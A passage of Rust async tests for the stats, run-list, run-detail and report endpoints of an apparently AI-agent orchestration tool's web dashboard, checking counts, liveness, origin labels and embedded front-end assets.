11094 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11095 let f = Fixture::start().await;
11096 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11097 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11098 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11099
11100 let totals = &f.get("/api/stats").await.json()["totals"];
11101 assert_eq!(totals["runs"], 3);
11102 assert_eq!(totals["merged"], 1);
11103 assert_eq!(totals["stalled"], 1);
11104 assert_eq!(totals["in_progress"], 1);
11105 assert_eq!(totals["blocked"], 0);
11108 assert_eq!(totals["ready"], 0);
11109 }
11110
11111 #[tokio::test]
11112 async fn stats_advisors_report_proposals_and_reflection() {
11113 use crate::advise::{Advice, AdvisorRecord, Reflection};
11114 use crate::verdict::Proposal;
11115
11116 let f = Fixture::start().await;
11117 let mut state = RunState::new(
11118 PathBuf::from("/repo/magi"),
11119 "main".to_owned(),
11120 "0123456789abcdef".to_owned(),
11121 "task".to_owned(),
11122 Config::default(),
11123 );
11124 state.id = "20260902-140501-a".to_owned();
11125 state.status = RunStatus::Merged;
11126 state.advice = Some(Advice {
11127 records: vec![
11128 AdvisorRecord {
11129 seat: "advisor-1".to_owned(),
11130 agent: "alpha".to_owned(),
11131 proposal: Some(Proposal {
11132 approach: "do it".to_owned(),
11133 key_tradeoff: "speed over memory".to_owned(),
11134 risks: Vec::new(),
11135 touches: Vec::new(),
11136 why_not_naive: "breaks under load".to_owned(),
11137 }),
11138 error: None,
11139 duration_ms: 0,
11140 reflection: Reflection::Strong,
11141 },
11142 AdvisorRecord {
11143 seat: "advisor-2".to_owned(),
11144 agent: "alpha".to_owned(),
11145 proposal: None,
11146 error: Some("timed out".to_owned()),
11147 duration_ms: 0,
11148 reflection: Reflection::Absent,
11149 },
11150 ],
11151 synthesis: Some("blended brief".to_owned()),
11152 });
11153 let dir = f.runs().join(&state.id);
11154 std::fs::create_dir_all(&dir).expect("run dir");
11155 std::fs::write(
11156 dir.join("run.json"),
11157 serde_json::to_string_pretty(&state).expect("serialize run"),
11158 )
11159 .expect("write run.json");
11160
11161 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11162 let alpha = advisors
11163 .as_array()
11164 .expect("an array")
11165 .iter()
11166 .find(|a| a["agent"] == "alpha")
11167 .expect("alpha row");
11168 assert_eq!(alpha["seated"], 2);
11169 assert_eq!(alpha["proposed"], 1);
11170 assert_eq!(alpha["absent"], 1);
11171 assert_eq!(alpha["strong"], 1);
11172 assert_eq!(alpha["faint"], 0);
11173 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11174 }
11175
11176 #[tokio::test]
11177 async fn stats_release_bumps_split_clean_from_attention() {
11178 use crate::run::ReleaseBump;
11179
11180 let f = Fixture::start().await;
11181
11182 let mut clean = RunState::new(
11183 PathBuf::from("/repo/magi"),
11184 "main".to_owned(),
11185 "0123456789abcdef".to_owned(),
11186 "task".to_owned(),
11187 Config::default(),
11188 );
11189 clean.id = "20260902-140501-a".to_owned();
11190 clean.status = RunStatus::Merged;
11191 clean.release_bump = Some(ReleaseBump {
11192 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11193 version: Some("1.0.0".to_owned()),
11194 automerge_enabled: true,
11195 merged_directly: false,
11196 local: false,
11197 release: None,
11198 problem: None,
11199 action_required: None,
11200 });
11201
11202 let mut blocked = RunState::new(
11203 PathBuf::from("/repo/magi"),
11204 "main".to_owned(),
11205 "0123456789abcdef".to_owned(),
11206 "task".to_owned(),
11207 Config::default(),
11208 );
11209 blocked.id = "20260902-140502-b".to_owned();
11210 blocked.status = RunStatus::Merged;
11211 blocked.release_bump = Some(ReleaseBump {
11212 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11213 version: Some("1.0.1".to_owned()),
11214 automerge_enabled: false,
11215 merged_directly: false,
11216 local: false,
11217 release: None,
11218 problem: Some("checks red".to_owned()),
11219 action_required: Some("look at the PR".to_owned()),
11220 });
11221
11222 for state in [&clean, &blocked] {
11223 let dir = f.runs().join(&state.id);
11224 std::fs::create_dir_all(&dir).expect("run dir");
11225 std::fs::write(
11226 dir.join("run.json"),
11227 serde_json::to_string_pretty(state).expect("serialize run"),
11228 )
11229 .expect("write run.json");
11230 }
11231
11232 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11233 assert_eq!(bumps["merged"], 2);
11234 assert_eq!(bumps["recorded"], 2);
11235 assert_eq!(bumps["pr_opened"], 2);
11236 assert_eq!(bumps["automerge_enabled"], 1);
11237 assert_eq!(bumps["needs_attention"], 1);
11238 assert_eq!(bumps["clean"], 1);
11239 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11240 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11241 }
11242
11243 #[tokio::test]
11244 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11245 let f = Fixture::start().await;
11246 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11247
11248 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11249 assert_eq!(bumps["merged"], 1);
11250 assert_eq!(bumps["recorded"], 0);
11251 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11254 assert_eq!(bumps["automerge_rate"], Value::Null);
11257 assert_eq!(bumps["attention_rate"], Value::Null);
11258 }
11259
11260 #[tokio::test]
11261 async fn stats_queue_counts_come_from_the_live_queue() {
11262 let f = Fixture::start().await;
11263 let q = f.queue();
11264 let mut queued = Task::new(
11265 "queued task".to_owned(),
11266 "do it".to_owned(),
11267 PathBuf::from("/repo"),
11268 Source::Human,
11269 );
11270 q.put(&mut queued).expect("put queued");
11271 let mut held = Task::new(
11272 "held task".to_owned(),
11273 "do it later".to_owned(),
11274 PathBuf::from("/repo"),
11275 Source::Human,
11276 );
11277 held.hold_machine(Some("out of attempts".to_owned()));
11278 q.put(&mut held).expect("put held");
11279
11280 let queue = f.get("/api/stats").await.json()["queue"].clone();
11281 assert_eq!(queue["queued"], 1);
11282 assert_eq!(queue["held"], 1);
11283 assert_eq!(queue["running"], 0);
11284 assert_eq!(queue["done"], 0);
11285 assert_eq!(queue["failed"], 0);
11286 assert_eq!(queue["blocked"], 0);
11287 }
11288
11289 #[tokio::test]
11290 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11291 let f = Fixture::start().await;
11292 let stats = f.get("/api/stats").await;
11293 assert_eq!(stats.status, 200);
11294 assert_eq!(stats.json()["totals"]["runs"], 0);
11295 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11296 assert_eq!(stats.json()["runs_unreadable"], 0);
11297 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11298 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11299 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11300 assert_eq!(stats.json()["repo"], Value::Null);
11301 }
11302
11303 #[tokio::test]
11304 async fn stats_lists_every_repository_with_runs_recorded() {
11305 let f = Fixture::start().await;
11306 write_run_repo(
11307 &f.runs(),
11308 "20260902-140501-a",
11309 RunStatus::Merged,
11310 "/repos/a",
11311 );
11312 write_run_repo(
11313 &f.runs(),
11314 "20260902-140502-b",
11315 RunStatus::Merged,
11316 "/repos/a",
11317 );
11318 write_run_repo(
11319 &f.runs(),
11320 "20260902-140503-c",
11321 RunStatus::Blocked,
11322 "/repos/b",
11323 );
11324
11325 let stats = f.get("/api/stats").await;
11326 assert_eq!(stats.status, 200);
11327 assert_eq!(stats.json()["totals"]["runs"], 3);
11329 assert_eq!(stats.json()["repo"], Value::Null);
11330
11331 let repos = stats.json()["repos"].clone();
11332 let repos = repos.as_array().unwrap();
11333 assert_eq!(repos.len(), 2);
11334 assert_eq!(repos[0]["repo"], "/repos/a");
11336 assert_eq!(repos[0]["name"], "a");
11337 assert_eq!(repos[0]["runs"], 2);
11338 assert_eq!(repos[1]["repo"], "/repos/b");
11339 assert_eq!(repos[1]["runs"], 1);
11340 }
11341
11342 #[tokio::test]
11343 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11344 let f = Fixture::start().await;
11345 write_run_repo(
11346 &f.runs(),
11347 "20260902-140501-a",
11348 RunStatus::Merged,
11349 "/repos/a",
11350 );
11351 write_run_repo(
11352 &f.runs(),
11353 "20260902-140502-b",
11354 RunStatus::Blocked,
11355 "/repos/b",
11356 );
11357
11358 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11359 assert_eq!(stats.status, 200);
11360 assert_eq!(stats.json()["totals"]["runs"], 1);
11361 assert_eq!(stats.json()["totals"]["merged"], 1);
11362 assert_eq!(stats.json()["repo"], "/repos/a");
11363 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11366 assert_eq!(stats.json()["runs_unreadable"], 0);
11369 }
11370
11371 #[tokio::test]
11372 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11373 let f = Fixture::start().await;
11374 write_run_repo(
11375 &f.runs(),
11376 "20260902-140501-a",
11377 RunStatus::Merged,
11378 "/repos/a",
11379 );
11380 write_run_repo(
11381 &f.runs(),
11382 "20260902-140502-b",
11383 RunStatus::Merged,
11384 "/repos/b",
11385 );
11386
11387 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11388 let json = f.get(uri).await.json();
11389 let daily = json["daily"].as_array().expect("daily is an array");
11390 assert_eq!(daily.len(), 30);
11391 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11392 let mut sorted = dates.clone();
11393 sorted.sort();
11394 assert_eq!(dates, sorted);
11395 for d in daily {
11396 assert_eq!(
11397 d["merged"].as_u64().unwrap()
11398 + d["ready"].as_u64().unwrap()
11399 + d["other"].as_u64().unwrap(),
11400 d["runs"].as_u64().unwrap()
11401 );
11402 }
11403 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11404 }
11405 }
11406
11407 #[tokio::test]
11408 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11409 let f = Fixture::start().await;
11410 write_run_repo(
11411 &f.runs(),
11412 "20260902-140501-a",
11413 RunStatus::Merged,
11414 "/repos/a",
11415 );
11416
11417 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11418 assert_eq!(stats.status, 404);
11419 }
11420
11421 #[tokio::test]
11422 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11423 let f = Fixture::start().await;
11424 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11425
11426 let summary = f.get("/api/runs").await.json();
11427 let row = &summary[0];
11428 assert_eq!(row["short"], "a1b2");
11429 assert_eq!(row["status"], "ready");
11430 assert_eq!(row["done"], true);
11431 assert_eq!(row["title"], "Add a web UI");
11432 assert_eq!(row["repo_name"], "magi");
11433 assert_eq!(row["judges"], 3);
11434 assert_eq!(row["winner"], Value::Null);
11435 assert_eq!(row["reviews"], 0);
11436
11437 let detail = f.get("/api/runs/a1b2").await;
11440 assert_eq!(detail.status, 200);
11441 assert_eq!(detail.json()["base_branch"], "main");
11442 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11443 }
11444
11445 #[tokio::test]
11453 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11454 let f = Fixture::start().await;
11455
11456 let mut none_run = RunState::new(
11457 PathBuf::from("/repo/magi"),
11458 "main".to_owned(),
11459 "0123456789abcdef".to_owned(),
11460 "Add a web UI".to_owned(),
11461 Config::default(),
11462 );
11463 none_run.id = "20260902-140503-none".to_owned();
11464 none_run.status = RunStatus::Ready;
11465 none_run.merge = Some(crate::run::MergeOutcome {
11466 mode: crate::config::MergeMode::None,
11467 ok: true,
11468 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11469 empty: false,
11470 });
11471 write_state(&f.runs(), &none_run);
11472
11473 let mut pr_run = RunState::new(
11474 PathBuf::from("/repo/magi"),
11475 "main".to_owned(),
11476 "0123456789abcdef".to_owned(),
11477 "Add a web UI".to_owned(),
11478 Config::default(),
11479 );
11480 pr_run.id = "20260902-140504-prcl".to_owned();
11481 pr_run.status = RunStatus::Ready;
11482 pr_run.merge = Some(crate::run::MergeOutcome {
11483 mode: crate::config::MergeMode::Pr,
11484 ok: false,
11485 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11486 empty: false,
11487 });
11488 write_state(&f.runs(), &pr_run);
11489
11490 let summary = f.get("/api/runs").await.json();
11491 let rows: std::collections::HashMap<&str, &Value> = summary
11492 .as_array()
11493 .expect("an array")
11494 .iter()
11495 .map(|r| (r["id"].as_str().expect("an id"), r))
11496 .collect();
11497 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11498 assert_eq!(
11499 rows[none_run.id.as_str()]["unmerged_by_design"],
11500 true,
11501 "a mode-none Ready must be flagged in the list"
11502 );
11503 assert_eq!(
11504 rows[pr_run.id.as_str()]["unmerged_by_design"],
11505 false,
11506 "a Ready reached by a closed pull request is a different case"
11507 );
11508
11509 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11510 assert_eq!(none_detail["status"], "ready");
11511 assert_eq!(none_detail["unmerged_by_design"], true);
11512
11513 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11514 assert_eq!(pr_detail["unmerged_by_design"], false);
11515 }
11516
11517 #[tokio::test]
11522 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11523 let f = Fixture::start().await;
11524 let id = "20260902-140502-bbbb";
11528 let mut state = RunState::new(
11529 PathBuf::from("/repo/magi"),
11530 "main".to_owned(),
11531 "0123456789abcdef".to_owned(),
11532 "Add a web UI".to_owned(),
11533 Config::default(),
11534 );
11535 state.id = id.to_owned();
11536 state.status = RunStatus::Judging;
11537 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11538 let dir = f.runs().join(id);
11539 std::fs::create_dir_all(&dir).expect("run dir");
11540 std::fs::write(
11541 dir.join("run.json"),
11542 serde_json::to_string_pretty(&state).expect("serialize run"),
11543 )
11544 .expect("write run.json");
11545
11546 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11552 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11553 assert_eq!(cold["live"], "unknown", "{cold}");
11554
11555 write_daemon(f.home.path(), Timestamp::now());
11558 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11559 assert_eq!(warm["live"], "live", "{warm}");
11560 }
11561
11562 #[tokio::test]
11565 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11566 let f = Fixture::start().await;
11567 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11568 let mut state = RunState::new(
11569 PathBuf::from("/repo/magi"),
11570 "main".to_owned(),
11571 "0123456789abcdef".to_owned(),
11572 "Add a web UI".to_owned(),
11573 Config::default(),
11574 );
11575 state.id = id.to_owned();
11576 state.origin = origin;
11577 let mut value = serde_json::to_value(&state).expect("serialize run");
11578 if let Some(schema) = schema {
11579 value["schema"] = serde_json::json!(schema);
11580 value.as_object_mut().unwrap().remove("origin");
11581 }
11582 let dir = f.runs().join(id);
11583 std::fs::create_dir_all(&dir).expect("run dir");
11584 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11585 };
11586 write(
11587 "20260930-092817-ec34",
11588 Some(crate::run::Origin::from_agent_env(
11589 Some(("4a7b".to_owned(), "chat".to_owned())),
11590 None,
11591 )),
11592 None,
11593 );
11594 write("20260930-092817-0ld1", None, Some(12));
11595
11596 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11597 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11598 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11599
11600 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11601 assert_eq!(
11602 old["origin_label"], "origin unknown (started before origins were recorded)",
11603 "{old}"
11604 );
11605 assert!(old["origin"].is_null(), "{old}");
11606
11607 let list = f.get("/api/runs").await.json();
11608 let labels: Vec<_> = list
11609 .as_array()
11610 .unwrap()
11611 .iter()
11612 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11613 .collect();
11614 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11615 }
11616
11617 #[tokio::test]
11624 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11625 let f = Fixture::start().await;
11626 let id = "20260922-090000-cccc";
11627 let mut state = RunState::new(
11628 PathBuf::from("/repo/magi"),
11629 "main".to_owned(),
11630 "0123456789abcdef".to_owned(),
11631 "Review only".to_owned(),
11632 Config::default(),
11633 );
11634 state.id = id.to_owned();
11635 state.status = RunStatus::Reviewing;
11636 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11637 state.driver_pid = Some(std::process::id());
11643 state.driver_started_at = Some(
11644 crate::proc::process_started_at(std::process::id())
11645 .expect("this test process's own start time must be queryable"),
11646 );
11647 let dir = f.runs().join(id);
11648 std::fs::create_dir_all(&dir).expect("run dir");
11649 std::fs::write(
11650 dir.join("run.json"),
11651 serde_json::to_string_pretty(&state).expect("serialize run"),
11652 )
11653 .expect("write run.json");
11654
11655 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11656 assert_eq!(detail["live"], "live", "{detail}");
11657 }
11658
11659 #[tokio::test]
11665 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11666 let f = Fixture::start().await;
11667 let id = "20260922-090100-dddd";
11668 let mut state = RunState::new(
11669 PathBuf::from("/repo/magi"),
11670 "main".to_owned(),
11671 "0123456789abcdef".to_owned(),
11672 "Review only".to_owned(),
11673 Config::default(),
11674 );
11675 state.id = id.to_owned();
11676 state.status = RunStatus::Reviewing;
11677 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11678 state.driver_pid = Some(std::process::id());
11683 state.driver_started_at = Some("1".to_owned());
11684 let dir = f.runs().join(id);
11685 std::fs::create_dir_all(&dir).expect("run dir");
11686 std::fs::write(
11687 dir.join("run.json"),
11688 serde_json::to_string_pretty(&state).expect("serialize run"),
11689 )
11690 .expect("write run.json");
11691
11692 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11693 assert_eq!(detail["live"], "dead", "{detail}");
11694 }
11695
11696 #[test]
11700 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11701 let mk = |id: &str, pid: Option<u32>| {
11702 let mut s = RunState::new(
11703 PathBuf::from("/repo/magi"),
11704 "main".to_owned(),
11705 "0123456789abcdef".to_owned(),
11706 "Add a web UI".to_owned(),
11707 Config::default(),
11708 );
11709 s.id = id.to_owned();
11710 s.driver_pid = pid;
11711 s.driver_started_at = Some("1790000000".to_owned());
11712 s
11713 };
11714 let states = vec![
11715 mk("20260902-140502-aaaa", Some(77)),
11716 mk("20260902-140502-bbbb", Some(77)),
11717 mk("20260902-140502-cccc", Some(77)),
11718 mk("20260902-140502-dddd", None),
11719 ];
11720 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11721 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11722 let sup: HashMap<String, String> = [(
11723 "20260902-140502-aaaa".to_owned(),
11724 "20260902-140502-cccc".to_owned(),
11725 )]
11726 .into();
11727
11728 let status_calls = std::cell::Cell::new(0);
11729 let identity_calls = std::cell::Cell::new(0);
11730 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11731 |_| {
11732 status_calls.set(status_calls.get() + 1);
11733 Some(true)
11734 },
11735 |_| {
11736 identity_calls.set(identity_calls.get() + 1);
11737 Some("1790000000".to_owned())
11738 },
11739 ));
11740 let rows = summarize(
11741 states,
11742 &open,
11743 &claimed,
11744 &sup,
11745 |p| probe.borrow_mut().status(p),
11746 |p| probe.borrow_mut().started_at(p),
11747 );
11748
11749 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11750 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11751 assert_eq!(rows.len(), 4);
11752 assert!(!rows[0].waiting && rows[1].waiting);
11753 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11754 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11755 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11756 assert_eq!(rows[1].superseded_by, None);
11757 }
11758
11759 #[test]
11760 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11761 let mut state = RunState::new(
11762 PathBuf::from("/repo/magi"),
11763 "main".to_owned(),
11764 "0123456789abcdef".to_owned(),
11765 "Review only".to_owned(),
11766 Config::default(),
11767 );
11768 state.id = "20260922-090200-dead".to_owned();
11769 state.status = RunStatus::Reviewing;
11770 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11771 .expect("serialize list row");
11772 assert_eq!(row["status"], "reviewing");
11773 assert_eq!(row["live"], "dead", "{row}");
11774 assert!(!row["done"].as_bool().unwrap());
11775 }
11776
11777 #[tokio::test]
11778 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11779 let f = Fixture::start().await;
11780 for id in [
11781 "20260902-140501-aaaa",
11782 "20260902-140502-bbbb",
11783 "20260902-140503-cccc",
11784 ] {
11785 write_run(&f.runs(), id, RunStatus::Merged);
11786 }
11787
11788 let all = f.get("/api/runs").await.json();
11789 let capped = f.get("/api/runs?limit=2").await.json();
11790
11791 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11792 assert_eq!(all.as_array().map(Vec::len), Some(3));
11793 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11794 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11795 }
11796
11797 #[tokio::test]
11798 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11799 let f = Fixture::start().await;
11800 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11801
11802 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11803
11804 assert_eq!(res.status, 200);
11805 assert!(
11806 res.headers
11807 .contains("content-type: text/plain; charset=utf-8"),
11808 "a browser must render it, not download it: {}",
11809 res.headers
11810 );
11811 assert!(
11815 res.body.contains("20260902-140501-a1b2"),
11816 "the report is about the run that was asked for: {}",
11817 res.body
11818 );
11819 }
11820
11821 #[tokio::test]
11822 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11823 crate::run::pin_test_home();
11825 let f = Fixture::start().await;
11826 let id = "20260902-140501-a1b2";
11827 write_run(&f.runs(), id, RunStatus::Stalled);
11828 let path = f.runs().join(id).join("run.json");
11831 let mut v: serde_json::Value =
11832 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11833 v["tally"] = serde_json::json!({
11834 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11835 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11836 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11837 "met_quorum": false, "rankings": 1
11838 });
11839 v["reviews"] = serde_json::json!([{
11840 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11841 "e2e_deferred": true,
11842 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11843 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11844 ]}]
11845 }]);
11846 std::fs::write(&path, v.to_string()).unwrap();
11847 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11848 std::fs::write(
11849 f.runs().join("20260902-140502-dead").join("run.json"),
11850 "{not json",
11851 )
11852 .unwrap();
11853
11854 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11855
11856 assert_eq!(res.status, 200, "{}", res.body);
11857 assert!(res.headers.contains("content-type: application/json"));
11858 let j = res.json();
11859 assert_eq!(j["schema"], 1);
11860 assert_eq!(j["header"]["id"], id);
11861 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11862 let kinds: Vec<&str> = j["sections"]
11863 .as_array()
11864 .unwrap()
11865 .iter()
11866 .map(|s| s["kind"].as_str().unwrap())
11867 .collect();
11868 assert_eq!(kinds, ["candidates", "tally", "review"]);
11869 let tally = &j["sections"][1]["tally"];
11870 assert_eq!(
11871 (tally["decided"].clone(), tally["provisional"].clone()),
11872 (false.into(), true.into())
11873 );
11874 let round = &j["sections"][2]["rounds"][0];
11875 assert_eq!(round["e2e"]["state"], "deferred");
11876 assert_eq!(round["findings"][0]["severity"], "major");
11877 assert_eq!(round["findings"][0]["blocking"], true);
11878 assert_eq!(round["findings"][0]["state"], "open");
11879
11880 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11882
11883 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11885 assert_ne!(bad.status, 200, "{}", bad.body);
11886 assert_eq!(
11887 bad.status,
11888 f.get("/api/runs/20260902-140502-dead/report").await.status
11889 );
11890 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11891 assert_eq!(
11892 f.get("/api/runs/20260902-999999-ffff/report.json")
11893 .await
11894 .status,
11895 404
11896 );
11897 }
11898
11899 #[tokio::test]
11900 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11901 let f = Fixture::start().await;
11902
11903 let html = f.get("/").await;
11904 let css = f.get("/app.css").await;
11905 let js = f.get("/app.js").await;
11906
11907 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11908 assert!(
11909 html.headers
11910 .contains("content-type: text/html; charset=utf-8")
11911 );
11912 assert!(css.headers.contains("content-type: text/css"));
11913 assert!(js.headers.contains("content-type: text/javascript"));
11914 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11915 }
11916
11917 #[test]
11918 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11919 let body = |name: &str| {
11920 let at = APP_JS
11921 .find(name)
11922 .unwrap_or_else(|| panic!("{name} missing"));
11923 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11924 };
11925 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11926 let note = body("function landRoundNote");
11927 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11928 assert!(note.contains("Land round ${round}"));
11929 let land = body("function renderLand");
11930 let note_at = land
11931 .find("landRoundNote(pr)")
11932 .expect("renderLand uses the note");
11933 assert!(
11934 note_at
11935 < land
11936 .find("roundRail(pr)")
11937 .expect("renderLand uses the rail")
11938 );
11939 }
11940
11941 #[test]
11942 fn the_runs_page_redesign_keeps_its_guards() {
11943 let body = |name: &str| {
11944 let at = APP_JS
11945 .find(name)
11946 .unwrap_or_else(|| panic!("{name} missing"));
11947 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11948 };
11949 let land = body("function renderLand");
11951 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11952 assert!(
11953 !land.contains("box.append("),
11954 "renderLand must use append()"
11955 );
11956 assert!(land.contains("append(box, ["));
11957 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11959 assert!(
11960 body("function applyRoute")
11961 .contains("route.name !== state.route.name || route.id !== state.route.id")
11962 );
11963 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11965 assert!(!INDEX_HTML.contains("advise-converge"));
11966 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11967 assert!(APP_JS.contains("provisional"));
11968 for id in [
11969 "run-tab-overview",
11970 "run-tab-timeline",
11971 "run-tab-report",
11972 "run-report",
11973 "runs-scope",
11974 ] {
11975 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11976 }
11977 assert!(!INDEX_HTML.contains("runs-tree"));
11978 assert!(!INDEX_HTML.contains("run-raw-panel"));
11979 assert!(APP_JS.contains("resume"));
11981 assert!(APP_JS.contains("unreadable"));
11983 }
11984
11985 #[test]
11986 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11987 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11988 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11989 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11990 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11991 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11992 assert!(APP_JS.contains("unreadable` : null"));
11994 }
11995
11996 #[test]
11997 fn the_run_detail_payload_says_whether_the_run_is_done() {
11998 for (status, done) in [
12000 (RunStatus::Superseded, true),
12001 (RunStatus::Blocked, true),
12002 (RunStatus::Landing, false),
12003 ] {
12004 let mut state = RunState::new(
12005 std::path::PathBuf::from("/repo"),
12006 "main".to_owned(),
12007 "abc".to_owned(),
12008 "x".to_owned(),
12009 crate::config::Config::default(),
12010 );
12011 state.status = status;
12012 let v = serde_json::to_value(RunDetailView::of(
12013 state,
12014 crate::run::Liveness::Unknown,
12015 None,
12016 None,
12017 None,
12018 ))
12019 .unwrap();
12020 assert_eq!(v["done"], done, "{status:?}");
12021 }
12022 }
12023
12024 fn has_strong(nodes: &[md::Node]) -> bool {
12026 serde_json::to_string(nodes).unwrap().contains("strong")
12027 }
12028
12029 #[test]
12030 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12031 let mut state = RunState::new(
12032 std::path::PathBuf::from("/repo"),
12033 "main".to_owned(),
12034 "abc".to_owned(),
12035 "x".to_owned(),
12036 crate::config::Config::default(),
12037 );
12038 let proposal = |approach: &str| {
12039 serde_json::json!({
12040 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12041 })
12042 };
12043 state.advice = Some(
12044 serde_json::from_value(serde_json::json!({
12045 "records": [
12046 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12047 "proposal": proposal("do **this**")},
12048 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12049 ],
